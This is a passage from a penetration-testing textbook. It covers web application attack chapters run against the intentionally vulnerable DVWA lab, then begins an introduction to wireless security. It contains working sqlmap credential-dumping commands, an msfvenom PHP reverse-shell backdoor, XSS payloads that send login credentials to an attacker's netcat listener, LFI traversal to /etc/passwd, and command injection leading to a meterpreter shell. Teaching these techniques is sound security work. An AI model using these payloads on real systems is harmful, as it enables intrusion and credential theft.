try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthenticationFailed
self.secure_data = token['data']
except:
raise AuthenticationFailed
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This function is taking an AuthToken, which is base64 encoded, decoding it, and checking
its value. Of course, this AuthToken can be decoded if it's intercepted by an attacker.
Alternatively, the attacker could write an exploit to create a modified AuthToken.
This is just one aspect of a security flaw that web application developers might overlook.

Ruby
Ruby is a popular language that is used for web applications due to Ruby on Rails. Ruby on
Rails is a framework that includes everything a developer would need to create a web
application that leverages a database. The framework is free to use and the community
actively contributes to it, which makes it a popular choice.
Ruby is also vulnerable to attacks, for example, vulnerabilities that use string
interpolation. String interpolation allows you to substitute the result of Ruby code.
For example, the following code would write out Hello User! since anything defined
within #{} will be evaluated:
name = "User"
puts "Hello, #{name}!"

Modifying the field to #{%x['ls']} would trick the server into listing its directory
structure.
Since Ruby is used for the rapid deployment of web applications, there might be cases
where vulnerabilities such as the one we've just discussed is present. There are many more
exploits that can be leveraged by poor coding within Ruby.
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Java
Java is a programming language that has been around for a long time. It is used extensively
and not only in web applications. That being said, it is known for having security
vulnerabilities. These vulnerabilities affect various aspects of the programming language,
as well as applications that leverage it. To get an idea of the amount of vulnerabilities that
exist within Java and how it spans multiple applications or operating systems, just perform
a search on Rapid 7's Vulnerability and Exploit database for Java. As shown in the
following screenshot, the results are astonishing:

Figure 1: List of Java vulnerabilities that exist

You can access the latest search results by going to https://www.rapid7.com/db/?q=Java
type=nexpose.
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There are a lot more web application languages that exist today, and none of them are
without vulnerabilities. When performing a penetration test, identifying the underlying
programming language will help you to focus on the vulnerabilities that can exist for it.

Understanding the HTTP protocol
Hypertext Transfer Protocol (HTTP) is a client-server protocol. The web browser is
classified as the client, which makes requests to the server, who will provide a response to
the request. By default, HTTP uses port 80, but this port can be configured if desired.
HTTP is stateless, which means that the server doesn't store any information related to the
various users that make requests to it. For example, you can send multiple requests to a
web application and they will be treated separately. HTTP is also a clear text protocol, and
so any sensitive information that's sent over HTTP can be sniffed using tools such as
Wireshark:

Figure 2: Clear text credentials transmitted via HTTP

SSL is used to secure the data, and the protocol that's used is Hypertext Transfer Protocol
Secure (HTTPS). HTTPS operates on port 443 by default, and this too can be reconfigured
if desired.
Let's take a look at some HTTP requests and responses.
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HTTP requests and responses
When a client sends a request to the server, this is called an HTTP request. Within this
HTTP request, we have the header and a body. The header contains information such as the
request, cookies, and encoding information. The body contains the actual data that will be
exchanged.
In the following screenshot, we have a sample of an HTTP request header:

Figure 3: HTTP request header

The first line begins with the GET request method, and then we have the
/download.html resource that was requested, as well as the HTTP version, that
is, HTTP/1.1.
There are a few other request methods that can be found in an HTTP request header. These
are as follows:
POST
DELETE
PUT
HEAD

This is used to send data to the server.
This is used to delete a file.
This is used to upload a file.
This is used to GET the HTTP headers only.

There are a few fields within this header. Let's take a look at the relevant fields:
Host: A web server may have multiple sites being hosted. This field is used to
define the host that we are trying to access.
User-agent: This field defines the client that is being used to access the host.
Cookie: This is exchanged in order to track session information.
Referer: This field will show whether you have been redirected from another
URL. Attackers will manipulate the referrer field to redirect users to a malicious
website. This manipulation can be done with XSS.
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When the server responds, it will respond with an HTTP response, which shares a similar
structure to the HTTP request. In the following screenshot, we have a sample of the HTTP
response:

Figure 4: Sample of an HTTP Response

In the first line, we have a status code of 200. The various codes that could appear are
defined as follows:
Status code

Definition

1xx
2xx
3xx
4xx
5xx

Information
Success
Redirection
Client error
Server error

Example

100: Server agrees to handle a client request
200: Request succeeded
301: Page moved
403: Forbidden page
500: Internal server error

For a complete list of status codes, please visit the following URL: https:/
/www.w3.org/Protocols/rfc2616/rfc2616-sec10.html.

In the response, we have a few interesting fields:
Server: This field defines the server version of the web server. Immediately, we
can see that we have a piece of reconnaissance information that can be used in a
penetration test.
Set-cookie: This is not set in the preceding screenshot. This field will be
populated with a cookie value that will be used by the server to identify the
client.
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Common web application attacks
Web application attacks and vectors are progressing at a rapid pace. With the volume of
people using the internet, businesses have to adapt and leverage complex web applications
to provide services to customers or even employees. Having these on the internet obviously
exposes them to risks. Most businesses take security seriously and, with the use of various
software development life cycles, there are some really secure web applications out there.
Nevertheless, as security measures become stronger, so do the attacks. Over and above the
attacks becoming more sophisticated, there is human error that comes into the equation. All
it takes is a piece of poorly written code to exploit the web application.
In this section, we will consider a few of the common web application attacks that exist
today.

Inclusion attacks (LFI/RFI)
File inclusion vulnerabilities exist within web applications that are poorly written. This
type of vulnerability allows the attack to submit data into files on the server or even upload
files.
Local File Inclusion (LFI) vulnerabilities involve files that are local on the web application
and the underlying operating system. If this vulnerability is exploited, the attacker would
be able to read and execute files or code.
Remote File Inclusion (RFI) vulnerabilities involve executing code that is remote to the
web application. In this attack, the attacker can host vulnerable code on a server in a remote
location. The attacker can then exploit the web application to access the remote server and
execute the code.

Cross-Site Request Forgery (CSRF)
To understand CSRF, let's take a step back and talk about how web applications handle
sessions. When HTTP is in use, keeping track of a user's authentication is done using a
cookie. Cookies should generally be secure by having a strong cryptographic strength and
entropy and should be transmitted over a secure channel such as HTTPS.
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When a browser submits that cookie to a website without checking the origin of the
request, this leaves a gap, which CSRF takes advantage of. CSRF involves an attacker using
malicious code that makes a request to the target website, which looks as if it originated
from the original sender. The legitimate cookie is used and a forged request will be made to
the target web application. The web application will find and accept this forged request
since it has a valid cookie, and the actions defined in the request will be handled.
In order for CSRF to work, there are a few things that need to be in place:
The web application that is being attacked should not check the referrer in the
HTTP header.
This allows the web application to accept requests from external pages.
The web application will accept data modifications from URLs or forms.
The attacker must be able to determine all of the input values that the web
application would expect. For example, when resetting a password, the web
application would look for values of the password and probably password
confirmation.
The user who is being attacked must load the malicious page.
An example of a CSRF attack would be a malicious page that has multiple images. When
the unsuspecting user is directed to this page, the images load. Some images might be an
action, causing the browser to perform some request to a targeted web application.

Cross-site scripting (XSS)
XSS is one of the most common vulnerabilities that's found within web applications. This
type of attack has been on the OWASP Top 10 list of vulnerabilities for a while. This attack
leverages injection techniques that allow the attacker to execute scripts that can perform
various purposes. The browser will execute the script because it believes that the script
originated from the web application.
Cross-site scripting can be split into three different types. These are defined as follows:
1. Persistent (Type 1): In this type of XSS, the malicious input is stored within the
target server. For example, it can be stored in its database, forums, and comment
fields.
2. Reflected XSS (Type II): In this type of XSS, the data is immediately returned by
the web application. This can be via an error message, search query, or any other
response. The main point here is that the data is returned by a request.
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3. DOM-based XSS (Type 0): In this type of XSS, the vulnerability resides on the
client side instead of the server side. For example, the server side HTML page
won't change, but on the client side, the page executes differently due to
modifications in the Document Object Model (DOM) environment.
When an attacker leverages an XSS attack, access to components such as cookies, session
keys, and other sensitive information is attainable.

SQL injection (SQLi)
SQLi attacks have been around for a long time, and yet they are still effective in poorly
written web applications today. This type of attack works on web applications that use
backend databases such as Microsoft SQL, and MySQL.
When this attack is successful, sensitive information can be accessed. Data within the
database can be modified (deleted, updated, and added), and it's possible to bypass
authentication and authorization controls.
There are various types of SQL injection attacks. Some of these are defined as follows:
Error-based attacks: This type of attack works by feeding invalid commands to
the database. This is usually done through pieces of the web application that
require input, for example, a user input. When these invalid commands are fed,
we are hoping that the server will reply with an error that contains details that
will provide us with information. For example, the server may reply with its
operating system, version, or even full query results.
Union-based attacks: This type of attack leverages the UNION operator to extend
the results of the query, ultimately allowing the attacker to run multiple
statements. The key is that the structure must remain the same as the original
statement.
Blind injection attacks: This type of attack is dubbed blind because there are no
error messages being displayed. In this attack, the database is queried using a
series of true and false queries to gain information that can be used for an attack.
Understanding these attacks is beneficial since they will help you to use the correct type of
attack during your penetration test. We will leverage a tool known as sqlmap to perform
some SQL injection attacks later in this chapter.
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Command execution
Command execution is an attack in which commands destined for the operating system can
be executed via the vulnerable web application. This is made possible by an application
that passes unsafe user input to the server.
Command execution attacks can lead to serious compromise, depending on what kind of
system commands you can execute and the privilege level of the web application.

Attacking web applications
As a penetration tester, you shouldn't rely solely on tools that can be used for web
application attacks. Being well-versed about them will certainly help during your
penetration test as you may be pressed for time.
In this section, we will discuss various tools and look at how to use them to perform attacks
against various web applications.

Nikto
Nikto is a web server scanner that is included with Kali Linux by default. It is able to
extract or identify information such as the following:
Server version
Potentially dangerous programs or files
Server configuration items
Installed web servers
Some of the main features of Nikto are as follows:
Support for SSL
HTTP proxy support
Ability to scan multiple targets using an input file
Ability to tune the scanning engine
Nikto was not designed to be stealthy. Using this tool in a penetration test will likely lead to
detection by an IPS/IDS.
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Using Sqlmap
Sqlmap is an open source tool that is included with Kali Linux by default. It is used to
automate the detection and exploitation of SQL injection flaws, as well as to take over the
databases of web applications. It makes use of a wide range of options that allow for
fingerprinting, data access, execution, and more.
The syntax for sqlmap is sqlmap <options>.
The features of sqlmap are as follows:
There's support for multiple SQL products, such as MySQL, PostgreSQL,
Microsoft SQL, Oracle, and SQLite.
It supports SQL injection techniques such as Boolean and time-based blind,
stacked queries, error-based, UNION query, and out of band.
It has the ability to enumerate users, password hashes, privileges, and more.
It has the ability to identify the type of password hash and provides support for
cracking it using dictionary attacks.
It has the ability to interact with the database's underlying operating system. This
can be used to download or upload files, create a reverse shell using an
interactive command prompt or Meterpreter session, or execute commands.
It supports dumping the database as a whole, or specific pieces of it, such as
specific columns or a range of entries or characters.
It has the ability to leverage the Meterpreter getsystem command for privilege
escalation.
Now that we have covered a brief overview of Sqlmap, let's take a look at this tool in action.
We will use this tool to perform a few attacks against the Damn Vulnerable Web
Application (DVWA) that is built into Metasploitable 2.

Performing attacks using Sqlmap
Let's take a look at how we can use Sqlmap to perform various attacks against the
DVWA that is installed by default in Metasploitable 2.
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Information gathering
The first thing we will do is some information gathering. Let's look at what information we
can obtain before performing any attacks:
1. Using Firefox ESR within Kali Linux, navigate to your Metasploitable 2 IP virtual
machine's IP address. Click on DVWA and log in with the following credentials:
Username: admin
Password: password
2. Click on DVWA Security on the left-hand navigation pane and select low under
Script Security. Then, click on Submit:

Figure 5: Setting DVWA security level to low
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3. Next, click on SQL Injection and put in the number 1 in the User ID: field.
Before clicking on Submit, make sure that you have the Burp Suite proxy
enabled and that your browser is configured to use the Burp Suite proxy. Once
you have the proxy enabled, click on Submit.
4. Take note of the fields that were intercepted. We are interested in cookie and
PHPSESSID:

Figure 6: DVWA SQLi intercept

5. The first thing we will do is try to enumerate all databases using the --dbs
option. To do this, we will use the cookie and PHPSESSID values that we have
captured. The command we will use is as follows:
sqlmap -u
"http://192.168.34.137/dvwa/vulnerabilities/sqli/id=1&Submit=Su
bmit" --cookie="security=low;
PHPSESSID=94488715a0d380b4abcf6253fbfced25" --dbs
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In this command, we are defining the target URL with the -u parameter. This
URL is the IP address of the DVWA web server (Metasploitable 2) with the GET
request (/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit). We specify
the cookie and PHPSESSID values and use the --dbs option to list all databases.
Take note of the following output. Sqlmap was able to identify the database and
asked us whether we wanted to continue with tests for other databases:

Figure 7: Sqlmap database identiﬁcation
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6. We will select Y to skip test payloads that are specific for other DMBSes and N
for the questions that are prompted afterward. Once sqlmap is done, it will
provide you with some valuable information. Here, we have some injection
points identified, information about the underlying operating system, and the
database names that exist:

Figure 8: Sqlmap output with valuable information

[ 223 ]

Attacking Web Applications

Chapter 8

We can use the -f option to fingerprint the databases, as follows:
sqlmap -u
"http://192.168.34.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -cookie="security=low; PHPSESSID=94488715a0d380b4abcf6253fbfced25" -f

We get the following output:

Figure 9: Determining the software versions

Now that we have obtained information related to the DVWA, let's go further and perform
some additional attacks.

Dumping user details from SQL tables
The next attack we will perform is obtaining information about users from SQL databases.
For this, we will target the dvwa database. Let's get started:
1. Use the following command to obtain the current tables within the DB:
sqlmap -u
"http://192.168.34.137/dvwa/vulnerabilities/sqli/?id=1&Submit=S
ubmit" --cookie="security=low;
PHPSESSID=94488715a0d380b4abcf6253fbfced25" -D dvwa --columns
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In this command, we are looking for columns (--columns) that are related to the
dvwa database (-D dvwa). Notice that, in the output, we have an interesting table,
which is listed as users with columns such as firstname, lastname, userid,
and password:

Figure 10: Columns for the users table within the

dvwa database

Now that we have identified an interesting table, let's proceed and dump the
table to see whether we are able to crack the hashes using a dictionary attack.
2. By using the following command, we will dump the table entries for all tables:
sqlmap -u
"http://192.168.34.137/dvwa/vulnerabilities/sqli/id=1&Submit=Su
bmit" --cookie="security=low;
PHPSESSID=94488715a0d380b4abcf6253fbfced25" -D dvwa --dump

In this command, we are using the --dump option to look at all of the entries for all of the
tables within the dvwa database. When the command runs, sqlmap will ask whether it
should use a dictionary attack to attempt to crack the passwords. By choosing the yes
option, sqlmap will prompt for a dictionary file. Using a built-in dictionary file will suffice
for this demo. Take note of the output; you will see that we have the table of the user that
was dumped, along with all of its details, including the passwords for each user in its
hashed form and in clear text:
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Figure 11: User details dumped using Sqlmap

In this section, we have looked at the effectiveness of Sqlmap. Using this tool allows you to
automate a few attacks when you have time constraints during a penetration test. We
specifically looked at how to perform information gathering, enumerate tables, and extract
user credentials. Sqlmap has a lot more features, and so it is a must-have in your
penetration testing toolkit.
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Creating a backdoor using PHP
Let's take a look at using a malicious php file to create a backdoor into the underlying
operating system of a web application. Here, we will use DVWA since it allows us to
upload files.
Ensure that DVWA's security level is set to low. The default username to
log in is admin and the password is password.

We will use MSFvenom to create a PHP file that will provide us with a reverse shell. The
handler that is used to listen for a connection will be set up within Metasploit. The steps are
outlined as follows:
1. From a Terminal window within Kali Linux, enter the following command to
create a malicious PHP backdoor:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Attacker IP
Address> LPORT=<Port to connect to> -f raw > msfv-shell.php

In this command, we are defining the payload (-p) as
php/meterpreter_reverse_tcp, and then we define the attacking machine's IP
address (LHOST) and port that the reverse shell will be established on (LPORT). We
aren't using any encoders; we simply want the raw php file (-f raw). The
filename should be msfv-shell.php ( > msfv-shell.php).
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2. Once the PHP file has been generated, we will upload it to DVWA. Log in to
DVWA and navigate to the Upload section on the left-hand side. Click on
Browse... and navigate to the location where you created the msfv-shell.php
file. Then, select it. Once the file has been uploaded, take note of the location it
was uploaded to:

Figure 12: MSFVenom malicious PHP ﬁle uploaded
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3. Before we connect to the location of the uploaded PHP page, we need to set up a
handler in Metasploit. To do this, we will open the Metasploit Framework using
the msfconsole command.
4. Once the Metasploit Framework has loaded, we will create the handler using the
following commands:
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST <LHOST value>
set LPORT <LPORT value>
exploit

5. Once the handler has been created, we can navigate to the upload location and
click on the msfv-shell.php file:

Figure 13: Accessing the malicious PHP ﬁle

6. Once the file has been accessed, on the Metasploit console, you will have a
Meterpreter session:
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Figure 14: Reverse Meterpreter shell established

From here, you have the option to drop into the system shell, upload/download files, and
more.

Performing XSS attacks
Here, we will use DVWA and look at how to perform a reflective and stored XSS attack. We
will keep the security level of DVWA on the low setting.

Performing a reflective XSS attack
In this scenario, we will perform a reflective XSS attack. In this attack, we will send a
request to the web application, forcing it to display some sensitive information. We will
perform the attack as follows:
1. Log in to the DVWA and click on XSS Reflected. The default action for this page
is to simply echo any input that you put into the field. Therefore, we will try to
force the application to provide us with information such ascookie and
PHPSESSID.
2. In the Whats your name? field, we will put in a simple script that will provide us
with the cookie and PHPSESSID data that we are looking for. Enter the
following command:
<script>alert(document.cookie);</script>

[ 230 ]

Attacking Web Applications

Chapter 8

In this script, we are telling the web application to alert us by providing a popup. Here, we
are calling document.cookie, which will provide the current cookie and PHPSESSID
values. Take note of the output; we now have the cookie and PHPSESSID values that we
were after:

Figure 15: Using reﬂective XSS to provide sensitive data

Now that we have all of the required details, we will attempt to inject a form into this page
to trick a user into entering their credentials. We will also force the web application to send
the output elsewhere instead of popping up on screen:
1. Open a Terminal window within Kali Linux. We will create a netcat simple
web server on port 80 by using the nc -lvp 80 command.
In this command, we are starting netcat using the nc command. The -l switch
is used to enable listen mode, v is for verbose output, and p defines the port
number that we will listen on. Once the command has been executed, netcat
will listen for connections.
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2. Using the same XSS Reflected page, enter the following script:
<h3>Please login to proceed</h3> <form
action=http://192.168.34.153>Username:<br><input
type="username" name="username"></br>Password:<br><input
type="password" name="password"></br><br><input type="submit"
value="Logon"></br>

In this script, we are creating a simple form that's asking for a username and
password. Take note of the form action= field. Here, we are using the IP
address of the attacker PC (Kali Linux) where we started the netcat listener.
3. Now, we have a form being displayed. Enter a random username and password
and hit Logon:

Figure 16: Malicious form injected using XSS
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Once you hit Logon, take a look at the output on the Terminal where you started the
netcat listener. The web application has sent the login request to our listener, and the
credentials are visible in clear text:

Figure 17: Login request captured on netcat listener

There are many more attacks that can be done by leveraging reflective XSS, but the point is
the criticality of this vulnerability. As we have seen, it is possible to obtain sensitive data,
which can be detrimental to any organization that has vulnerable web applications.

Performing a stored XSS attack
Let's take a look at how we can perform a stored XSS attack. Here, we will use the XSS
Stored section of DVWA. We will attempt to obtain cookie and PHPSESSID again:
1. Log in to the DVWA and click on XSS stored. Here, we have a guestbook that
people can sign. We will attempt to input some code into the message field.
2. Enter any value for the name, and then use the same script we used earlier:
<script>alert(document.cookie);</script>

3. Once you click on Sign guestboo, the cookie and PHPSESSID details will be
displayed:
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Figure 18: Using stored XSS to provide sensitive data

Since this is a stored XSS attack, if you navigate to another section of the DVWA web
application and return to XSS stored, the popup will automatically appear, as the malicious
script is stored in the database.

Performing a file inclusion attack
Let's perform a local and remote file inclusion attack. Both of these attacks will be done on
DVWA, and we will keep the security level of DVWA on the low setting.
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For the LFI attack, we will attempt to browse a local file on the web server. A valuable file
that resides on Linux operating systems is the /etc/passwd file. Let's get started:
1. Once we're logged in to DWVA, click on File Inclusion on the left-hand side.
2. Let's attempt to navigate to the /etc/passwd file. Since we don't know what the
local working directory that the web application is operating in is, we will use a
sequence of characters to perform directory traversal. In the address bar, add in
../../../../../etc/passwd after ?page=, as shown in the following
screenshot. The use of ../ is used in directory traversal to go back to the
previous directory. Experimentation is needed here as you may not know the
location of the target web application within the directory structure of the server:

Figure 19: Using directory traversal with LFI
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3. Once you hit Enter, you will have a lot of output. Within the output, you will find
the contents of the /etc/passwd file:

Figure 20: Contents of the /etc/passwd ﬁle exposed

By using LFI attacks, you can do a lot more than expose system files. You can upload files
to the web server and initiate reverse shells.

Performing a command execution attack
We will use DVWA and look at how to perform a command execution attack. We will keep
the security level of DVWA on the low setting:
1. Log in to the DVWA application and click on Command Execution on the lefthand side.
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2. Let's attempt to perform a simple command, such as listing the current directory.
Since the form requires an IP address, we will define an IP but add in the
additional command using an append character, &&. To list the directory, we will
use -ls -la. The full comment will be 192.168.34.153 && ls -la.
In this command, we are defining a random IP (I am using the IP of my Kali
virtual machine) and appending an additional command using the &&. This
command is listing the ls directory. We can view these files by using a long
listing, -l, and include all files, a. Here's the output we receive:

Figure 21: Command execution attack

[ 237 ]

Attacking Web Applications

Chapter 8

Here, we have the actual ping command, but at the bottom, we have the listing of
the current directory. Now, we know that command execution is possible. Let's
see if we can obtain a remote shell using Metasploit.
3. From a Terminal window, we will start the Metasploit Framework by using
the msfconsole command.
4. We will use the script delivery exploit. Enter the use
exploit/multi/script/web_delivery command and then show options to
view the available options:

Figure 22: Loading the exploit in Metasploit
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5. Now, we need to define the target. By using the show targets command, we
can see what targets this exploit will work with. In our case, we will use PHP:

Figure 23: Targets that are available with the exploit

6. Now, we will configure the exploit. Set the following options:
set
set
set
set

Target 1
LHOST 192.168.34.153
LPORT 1337
payload php/meterpreter/reverse_tcp

Remember that LHOST is your Kali virtual machine IP, and that LPORT can be any
random port number. The payload we are using is a reverse TCP meterpreter
shell. You can confirm your options by using the show options command:
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Figure 24: Conﬁguring the exploit options

7. Once you have configured these options, run the exploit using the run
command. Take note of the output. The highlighted code is what we will use in
the command execution attack to spawn a reverse shell to our attacking system.
Copy that code, and don't close the Terminal window or exit out of Metasploit:

Figure 25: Exploit running with reverse PHP script deﬁned
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8. Return to the Command Execution page in DVWA. Now, type in an IP address
and append it by using && and the code that was generated by Metasploit:

Figure 26: Running the malicious script using a command execution attack

Once you click on submit, you will start a meterpreter session. Return back to
the Terminal window where you have configured the exploit.
9. You will now see that you have the meterpreter session up and running.
Hitting Enter will take you back to the exploit configuration page, but your
session will still be established. You can check this by using the sessions -i
command. To access this session, use the sessions -i [session
ID] command:
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Figure 27: Meterpreter sessions established

10. From here, you will be able to leverage the full functionality of Meterpreter. You
can access the operating system shell by using the shell command. From here,
you will be able to take your attack further:

Figure 28: Accessing the operating system shell

As we have seen, with this attack, you have a number of options available to take the
exploitation further. Command execution vulnerabilities can be easily exploited using tools
such as the Metasploit Framework.
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Summary
In this chapter, you have learned about web applications and their architecture, as well as
their components. You have learned about the different types of web application testing,
and we focused specifically on penetration testing. You gained insight into the HTTP
protocol and what is detailed in the request and response headers. Finally, you learned
about the various web application attacks and how to perform them in a testing
environment.
In Chapter 9, Getting Started with Wireless Attacks, we will discuss wireless architecture,
their attacks, and how to perform them.

Questions
1.
2.
3.
4.
5.

Name one of the three types of web application architecture.
What is the difference between HTTP and HTTPS?
What can be manipulated in an HTTP response header to perform an XSS attack?
Name two types of web application attacks.
What tool can be used to create a PHP backdoor payload?
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Getting Started with Wireless
Attacks
The wireless industry continues to grow with an increasing number of wireless gadgets. An
average family possesses access points, media centers, phones, consoles, PCs, and even
security systems. Businesses rely on wireless networks for convenience as employees move
around freely inside and even outside of the corporate building. The downside to being
able to freely access the network is that it opens up the network to attacks through
vulnerabilities. Thus, it is important for companies to identify and fix vulnerabilities in their
wireless networks.
In this chapter, you will learn about wireless attacks and how to execute them. We will
discuss various components of a wireless packet, such as beacon frames, and what is
contained within the packet. You will learn about the types of wireless adapters that can be
used for wireless packet injection and monitoring. We will dive into various tools that can
be used to perform different attacks. Finally, you will learn how to crack various wireless
encryption protocols.
As you progress through the chapter, you will learn about the following topics:
Exploring wireless attacks
Compatible hardware
Wireless attack tools
Cracking WPA/WPA2 and WEP
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Technical requirements
The following technical requirements are needed for this chapter:
Kali Linux 2019.1
Compatible network card for packet injection
Wireless router supporting WPA/WPA2 and WEP

Exploring wireless attacks
Wireless networking has really evolved from a nice to have to a must have requirement in
organizations. Wireless networks are available almost everywhere. For example, you
probably have a wireless network running at home to facilitate internet access. This access
connects devices such as mobile phones, smart TVs, media players, gaming consoles,
tablets, and personal computers to the internet at all times. All your neighbors probably
have similar setups.
In enterprises, wireless networks are a powerful tool that boost productivity and promote
the exchange of information. Employees can roam and have untethered access to shared
documents, emails, applications, and other network resources. Wireless networks provide
simplicity, ease of use, convenience to guests, and network access in hard-to-reach areas.
Sadly, there is often a lack of security on wireless devices, which leads to severe
vulnerabilities. Companies often do not configure wireless devices securely, and some
might even use wireless equipment with default configurations.
Understanding how wireless networks work, and the various encryption algorithms and
attacks against wireless networks, is crucial if you want to perform a successful penetration
test.

Wireless network architecture
Before performing a penetration test blindly against a wireless network, it is important to
understand the architecture of a wireless network. This will help you gain a good
understanding of the different modes and what types of wireless frames are important
from a penetration testing perspective.
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Wireless networks operate in two main modes:
Infrastructure mode
Ad hoc mode
In both modes, there is a common component called a Service Set Identifier (SSID), which
is required for network verification. When using infrastructure mode, the SSID is set by
an access point (AP). In ad hoc mode, the SSID is set by the station that is creating the
network.
In infrastructure mode, there should be at least one access point and one station. Both of
these form a Basic Service Set (BSS). An Extended Service Set (ESS) is when two or more
access points are connected to the same IP subnet or virtual local area network (VLAN),
thus creating a single logical network segment.
In ad hoc mode, Independent Basic Service Set (IBSS) is created when two or more
stations begin communicating without an access point. This mode can be referred to as
peer-to-peer mode. One of the stations will take the liberty of handling responsibilities that
the access point would handle, such as beaconing and authenticating new clients.

Wireless frames
In wireless networks, communication takes place using frames. Within a wireless frame, the
first two bytes belong to a component called frame control. Within this frame control
frame, we have multiple fields, which have various bit sizes. The notable one is the type
field.
The type field contains the following categories of frames:
Management frames: These are responsible for keeping the communication
going between stations and access points. Some subtypes of these frames include
authentication, deauthentication, association, beacon, probe request, and probe
response.
Control frames: These are responsible for data exchange between access points
and stations. Some subtypes here include request to send, clear to send, and
ACK.
Data frames: These are the frames that carry the actual data. They have no
subtypes.
I want to dig deeper into the following frames, as these frames can reveal some key
information.
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Notable wireless frames
Beacon frames are the most common packets that are sent across wireless networks. These
are sent out rather quickly, usually a couple of times per second. Of course, this can be
controlled in various wireless access points. Beacon frames contain useful information, such
as the following:
SSID name (unless the SSID broadcast is disabled)
Mac address of the access point
Security capabilities (WPA2 passphrase, WPA, WEP, WPA enterprise)
Beacon interval
Channel and channel width
Country
Connection speeds supported by the access point
Figure 1 shows what is contained within a beacon frame. You will notice that the interval is
0.102400 [Seconds]. Point number 1 shows that the frame was sent by an AP, and since the
second bit is not set, this indicates that it is not an ad hoc network. Point number 2 contains
details about the SSID, supported data rates, channel width, and Country Information:

Figure 1: Beacon frame

The filter applied (wlan.fc.type_subtype==0x8) is specific to beacon frames, since they
are part of management frames (frame zero) and subtype 8.
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Deauthentication frames are used to disassociate clients that are currently associated with
an access point. There are a number of reasons why you would force a client to disassociate;
for example, if you want to uncover a hidden SSID or you want to capture the WPA/WPA2
handshake.
Figure 2 shows a sample capture of a Deauthentication packet:

Figure 2: Deauthentication frame

Notice that the reason code defined is class 3 means that the station is leaving or has left
the independent basic service set. This deauthentication was made using aireplay-ng. We
will cover this tool in detail later in this chapter. There are a number of reason codes, and in
Table 1 I have listed the common reason codes:
Reason
Description
code
0
No reason code
1

Unspecified reason

2

Previous authentication no
longer valid

Explanation
This is normal behavior
The client is currently associated but is no
longer authorized
The client is associated but not authorized
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3

Deauthentication leaving

4

Disassociation due to inactivity

5

Disassociation AP busy

6

Class2 frame from non-

7

authenticated station
Class3 frame from nonassociated station

Station has been deauthenticated because it is
leaving IBSS or ESS
Client session has been timed out
The access point is currently busy and cannot
handle the current associated clients
Client tried to transfer data before
authentication could take place
Client tried to transfer data before it was
associated with the access point

Authentication frames make up the authentication process. The amount of authentication
frames that are exchanged varies; the authentication transaction sequence number is
responsible for keeping track of the authentication process, and it can handle values from 1
to 65535. The authentication algorithm is used to identify the type of authentication being
used. The following sample capture (Figure 3) shows that open authentication is being used:

Figure 3: Authentication frame

Using a value of 0 indicates that open authentication is being used. The value of 1 denotes
that shared key authentication is used.

Wireless security protocols
As wireless technologies have evolved and become widely used, so have security protocols
to provide security on wireless technologies.
Passwords are just half the battle in wireless security. It is just as vital to choose the correct
level of encryption, and the right choice will determine whether your wireless LAN is an
easily exploitable or not. Most wireless access points enable one of three standards for
wireless encryption: wired equivalent privacy (WEP), or Wi-Fi protected access (WPA or
WPA2).
Before diving into performing penetration tests on wireless networks. We need to examine
the encryption standards that exist today and understand the vulnerabilities of them.
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WEP
WEP was created to address the issues of open networks that were susceptible to
eavesdropping due to no encryption being used. It provided a reasonable degree of security
back when it was created. It uses a Rivest Cipher 4 (RC4) to encrypt traffic and provides
message integrity using CRC32 checksums. RC4 is a symmetric cipher, which means that
the same key is used for both encryption and decryption of data. The cipher creates a
stream of bits that are XOR'd with plain text, resulting in encrypted data. Of course,
decrypting the data can be done by simply performing a XOR on the encrypted data using
the keystream.
WEP made use of a 24-bit initialization vector (IV). An IV is used to make sure that the
first block of plain text data that is encrypted is random. This ensures that if the same plain
text is encrypted, the results will be different ciphertexts. Due to the small size of the IV, the
likelihood of key reuse is high, which makes cracking the encryption easily achievable.
In 2001, cybersecurity experts identified several serious flaws in WEP, leading to industrywide recommendations to phase out the use of WEP in both business and consumer
devices.

WPA
Based on the flaws in WEP, there was an urgent need to provide more security for wireless
devices. This was when WPA was introduced. WPA introduced two new link layer
encryption protocols; these are temporal key integrity protocol (TKIP) and counter mode
with CBC-MAC (CCMP).
WPA has two modes:
WPA personal: This uses a pre-shared key for authentication, which is shared by
all peers in the network.
WPA enterprise: This leverages 802.1x authentication using a radius server for
authentication, authorization, and accounting (AAA).
WPA still used WEP as an encryption algorithm to support backward compatibility and
legacy hardware. However, using TKIP, it addressed a number of security flaws by using
the following:
256-bit keys
Per-packet key mixing by generating a unique key for each packet
Automatic transmission of updated keys
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Integrity checks
48-bit IV size and IV sequencing to reduce replay attacks

Wi-Fi Protected Access version 2 (WPA2)
WPA2 was introduced as a successor to WPA. It makes use of a stronger Advanced
Encryption Standard (AES) algorithm. AES is made up of three symmetric block ciphers
that are 128 bits each. Encryption and decryption of the blocks can take place using 128-bit,
192-bit, and 256-bit keys. AES requires a lot more computing power, but with the
advancements made with wireless devices, performance issues are only common on older
hardware.
WPA2 uses counter mode with Cipher Block Chaining Message Authentication Code
Protocol (CCMP). CCMP provides data confidentiality by allowing only devices or users
who are authorized to receive data. Cipher block chaining is used to provide integrity of
data.
WPA2 is not compatible with older hardware as it was redesigned from the ground up. It
supports both the personal and enterprise mode that was introduced by WPA.
In 2017, a serious flaw was announced that affected WPA2. It was called KRACK, which
stands for Key Reinstallation Attacks. A key reinstallation attack happens when an
attacker tricks the target into reinstalling an already-in-use key. This can be done by
manipulating and replaying the cryptographic handshake messages of WPA2. When this
key is installed, parameters such as the nonce (incremental transmit packet number) and
replay counter are reset to their initial value. By forcing nonce reuse, packets can be
replayed, forged, and decrypted.

Wi-Fi Protected Access version 3 (WPA3)
WPA3, which was announced in 2018, is designed as a successor to the widely used WPA2,
and brings several core enhancements to enhance security protection and procedures across
personal and corporate networks.
WPA3 introduces a different handshake process, which is called simultaneous
authentication of equals (SAE), also known as the Dragonfly key exchange. Encryption is
handled by AES-GCM, and the session key length used by WPA3 is 192 bits for enterprise
mode, and personal mode is 128 bits (192 bits is optional). Data integrity is handled
by Secure Hash Algorithm 2 (SHA2).
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Even for Wi-Fi networks without passwords, WPA3 Security provides a data protection
mechanism called Individual Data Encryption. This mechanism encrypts data packets of
each device with separate keys, so other devices cannot decrypt each other's data.
WPA3 sounds really secure; however, there has been a vulnerability called Dragonblood.
